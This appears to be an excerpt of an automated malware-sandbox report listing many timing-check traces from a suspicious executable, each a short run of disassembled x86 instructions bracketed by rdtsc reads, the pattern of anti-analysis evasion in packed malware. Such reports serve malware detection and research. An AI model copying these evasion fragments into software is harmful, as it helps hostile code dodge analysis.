Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EC3205 second address: EC324F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A496h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007FF9A052A48Dh 0x00000013 mov eax, dword ptr [eax] 0x00000015 jnl 00007FF9A052A48Eh 0x0000001b push edx 0x0000001c jp 00007FF9A052A486h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jne 00007FF9A052A488h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EC324F second address: EC326A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A1392277h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EC3382 second address: EC3386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EC3386 second address: EC338C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EC345C second address: EC3485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 ja 00007FF9A052A494h 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 jmp 00007FF9A052A48Ah 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jo 00007FF9A052A488h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EC3485 second address: EC348B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EC348B second address: EC348F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EC9E30 second address: EC9E36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EC9E36 second address: EC9E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jnl 00007FF9A052A488h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ECA141 second address: ECA15E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF9A1392279h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ECA15E second address: ECA162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ECA162 second address: ECA173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF9A1392266h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ECA173 second address: ECA19A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF9A052A491h 0x0000000d jp 00007FF9A052A48Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ECA19A second address: ECA1AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF9A139226Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ECA1AE second address: ECA1B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED2057 second address: ED205C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED205C second address: ED2066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED0F3A second address: ED0F48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jnc 00007FF9A1392266h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA2BF1 second address: EA2BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA2BF8 second address: EA2BFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA2BFE second address: EA2C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA2C02 second address: EA2C6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392276h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FF9A1392268h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 pushad 0x00000029 movsx ebx, bx 0x0000002c mov ebx, dword ptr [ebp+122D387Dh] 0x00000032 popad 0x00000033 lea eax, dword ptr [ebp+12484919h] 0x00000039 movsx ecx, di 0x0000003c push eax 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FF9A1392271h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA2C6E second address: EA2C77 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA2C77 second address: E7D770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FF9A1392268h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 add dword ptr [ebp+122D30AAh], edi 0x00000029 call dword ptr [ebp+122D29F3h] 0x0000002f jnp 00007FF9A1392279h 0x00000035 push esi 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FF9A1392279h 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA2D61 second address: EA2D7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A492h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA2D7F second address: EA2D85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3360 second address: EA336A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF9A052A486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA336A second address: EA336F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA33BF second address: EA33E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 js 00007FF9A052A486h 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov dword ptr [esp], esi 0x00000011 mov edx, dword ptr [ebp+122D2E12h] 0x00000017 nop 0x00000018 jl 00007FF9A052A494h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA33E0 second address: EA33E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA33E6 second address: EA33F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 je 00007FF9A052A490h 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA35C7 second address: EA35CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3AC8 second address: EA3AE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A494h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FF9A052A486h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3C8F second address: EA3C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3EAE second address: EA3EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3EB2 second address: EA3EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3EBB second address: EA3EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 mov dx, 4500h 0x0000000d lea eax, dword ptr [ebp+1248495Dh] 0x00000013 jmp 00007FF9A052A48Eh 0x00000018 nop 0x00000019 jc 00007FF9A052A48Ah 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jbe 00007FF9A052A486h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3EF2 second address: EA3EFC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF9A1392266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3EFC second address: EA3F01 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3F01 second address: EA3F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 pushad 0x00000009 mov dword ptr [ebp+122D21AEh], edi 0x0000000f pushad 0x00000010 mov di, cx 0x00000013 mov ax, 984Bh 0x00000017 popad 0x00000018 popad 0x00000019 lea eax, dword ptr [ebp+12484919h] 0x0000001f call 00007FF9A139226Fh 0x00000024 or dword ptr [ebp+1247373Fh], edx 0x0000002a pop edx 0x0000002b nop 0x0000002c push edi 0x0000002d push eax 0x0000002e push edx 0x0000002f jg 00007FF9A1392266h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3F40 second address: EA3F62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A490h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 ja 00007FF9A052A486h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3F62 second address: EA3F68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3F68 second address: EA3F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3F6C second address: E7E22D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 cld 0x0000000a call dword ptr [ebp+122D1EC2h] 0x00000010 pushad 0x00000011 jo 00007FF9A139227Eh 0x00000017 jmp 00007FF9A1392278h 0x0000001c push eax 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED1631 second address: ED1637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED18F9 second address: ED1902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED1902 second address: ED1906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED1906 second address: ED191A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF9A1392266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FF9A1392266h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED191A second address: ED191E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED7AD3 second address: ED7AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED7AD9 second address: ED7B1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A495h 0x00000007 je 00007FF9A052A48Eh 0x0000000d jbe 00007FF9A052A486h 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push esi 0x00000018 jmp 00007FF9A052A491h 0x0000001d push ecx 0x0000001e jnl 00007FF9A052A486h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E55746 second address: E55769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF9A1392278h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E55769 second address: E5578B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A499h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED6496 second address: ED649C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED649C second address: ED64A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED6F18 second address: ED6F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF9A1392266h 0x0000000a pop edi 0x0000000b jmp 00007FF9A1392271h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED6F38 second address: ED6F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF9A052A486h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED6F42 second address: ED6F72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392279h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007FF9A1392270h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED70DC second address: ED70E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED70E2 second address: ED70E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED70E6 second address: ED70F0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF9A052A486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED70F0 second address: ED70F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED70F6 second address: ED7117 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF9A052A495h 0x00000008 pop ebx 0x00000009 jc 00007FF9A052A48Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: ED7930 second address: ED7938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EDCCFC second address: EDCD06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF9A052A486h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EDCD06 second address: EDCD0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EDCE45 second address: EDCE4B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EDCE4B second address: EDCE59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FF9A1392272h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EDCE59 second address: EDCE5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EDCE5F second address: EDCE66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EDCE66 second address: EDCEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF9A052A486h 0x0000000a jmp 00007FF9A052A48Fh 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007FF9A052A496h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop eax 0x0000001f jo 00007FF9A052A486h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EDCEA6 second address: EDCECD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392279h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FF9A139226Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EE49CD second address: EE4A03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A499h 0x00000007 pushad 0x00000008 jmp 00007FF9A052A496h 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EE4B57 second address: EE4B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FF9A1392266h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EE71F4 second address: EE71FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EE71FB second address: EE7216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF9A1392272h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EE7216 second address: EE7225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FF9A052A48Eh 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EEA6BC second address: EEA6C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EEA6C0 second address: EEA6E5 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF9A052A486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FF9A052A498h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EEA6E5 second address: EEA6EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EEA6EB second address: EEA6F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EEA6F0 second address: EEA70C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF9A1392274h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EEA70C second address: EEA710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EEAC8A second address: EEAC8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EEAC8E second address: EEAC98 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF9A052A486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF0031 second address: EF0051 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007FF9A1392266h 0x0000000d push eax 0x0000000e pop eax 0x0000000f js 00007FF9A1392266h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 jne 00007FF9A1392272h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF0194 second address: EF01BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A48Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FF9A052A491h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF01BB second address: EF01C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF01C1 second address: EF01C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
